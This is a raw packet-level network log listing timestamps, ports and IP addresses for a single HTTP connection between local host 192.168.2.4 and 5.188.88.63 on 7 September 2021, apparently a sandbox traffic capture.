Sep 7, 2021 16:03:07.688333035 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688357115 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688383102 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688404083 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688410044 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688410044 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688436031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688462019 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688486099 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688509941 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688513994 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688514948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688536882 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688560009 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688580036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688601017 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688611984 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688616037 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688623905 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688646078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688668013 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688692093 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688692093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688694954 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688715935 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688736916 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688760996 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688785076 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688790083 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688793898 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688807964 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688828945 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688851118 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688875914 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688893080 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688899994 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688899994 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688924074 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688947916 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688971043 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688990116 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.688993931 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.688998938 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.689017057 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.689040899 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.689059973 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.689063072 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.689064980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.689089060 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.689130068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.689153910 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.689177036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.689196110 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.689198971 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.689201117 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.689220905 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.689248085 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.689256907 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.689260960 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.762933016 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.762959957 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.762983084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763004065 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763029099 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763029099 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763046026 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763051987 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763068914 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763073921 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763096094 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763129950 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763151884 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763168097 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763174057 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763174057 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763196945 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763216972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763242006 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763262987 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763269901 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763282061 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763307095 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763330936 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763350964 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763372898 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763381004 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763386965 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763394117 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763415098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763417959 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763437033 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763458014 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763482094 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763504028 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763514042 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763520002 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763525963 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763546944 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763567924 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763581038 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763586044 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763588905 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763611078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763632059 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763657093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763670921 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763678074 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763679981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763700962 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763721943 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763742924 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763758898 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763765097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763765097 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763787031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763801098 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763808012 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763832092 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763854980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763876915 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763883114 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763891935 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763914108 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763936996 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763958931 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763978958 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.763988972 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.763995886 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764000893 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764024019 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764044046 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764069080 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764091015 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764107943 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764111996 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764113903 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764132977 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764153957 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764162064 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764167070 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764178038 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764199972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764220953 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764241934 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764244080 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764250040 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764264107 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764285088 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764307022 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764328003 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764334917 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764339924 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764352083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764374018 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764394045 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764415026 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764425039 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764430046 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764437914 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764461994 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764483929 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764511108 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764530897 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764550924 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764552116 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764558077 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764574051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764595032 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764602900 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764609098 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764616013 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764636993 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764661074 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764683008 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764683008 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764688015 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764703989 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764724970 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764746904 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764767885 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764790058 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764806986 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764810085 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764811993 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764834881 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764858007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764867067 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764870882 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764878035 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764898062 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764919043 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764939070 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.764944077 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764947891 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.764961004 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.765002966 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.765024900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.765045881 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.765067101 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.765089035 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.765110016 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.765120029 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.765126944 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.765130997 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.765152931 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.765171051 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.765176058 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.765178919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.765201092 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.765222073 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.765243053 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.765263081 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.765266895 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.765271902 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.765999079 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.767769098 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.779297113 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.839906931 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.839961052 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840003014 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840037107 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840074062 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840075970 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.840095997 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.840120077 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840182066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840226889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840269089 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.840274096 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.840285063 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840358019 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840423107 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840452909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840492010 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.840498924 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.840506077 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840583086 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840625048 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.840641975 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840692997 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840734959 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.840750933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840785980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840817928 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840851068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840883017 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840893030 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.840898037 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.840915918 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840950012 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.840981960 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841013908 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841022968 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.841027021 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.841047049 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841080904 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841113091 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841139078 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.841145992 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.841147900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841181040 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841214895 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841247082 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841253042 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.841258049 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.841279984 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841312885 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841345072 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841377020 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841379881 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.841387033 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.841408968 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841439962 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841470003 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841501951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841514111 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.841517925 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.841536045 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841567993 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841598988 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841630936 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841640949 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.841645002 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.841664076 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841696024 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841727018 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841758966 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.841782093 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.841787100 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.915602922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.915673018 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.915688038 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.915746927 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.915788889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.915807009 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.915843964 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.915889978 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.915893078 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.915941000 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.915981054 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916030884 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916062117 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916074038 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.916084051 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.916086912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916110992 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916141987 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916173935 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916203976 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916215897 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.916223049 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.916249990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916311026 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916337967 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916364908 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916378021 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.916385889 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.916393995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916424036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916451931 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916482925 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.916488886 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.916546106 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916578054 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916610003 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916644096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916671991 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.916675091 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916683912 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.916711092 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916738987 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.916800976 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916858912 CEST	80	49772	5.188.88.63	192.168.2.4
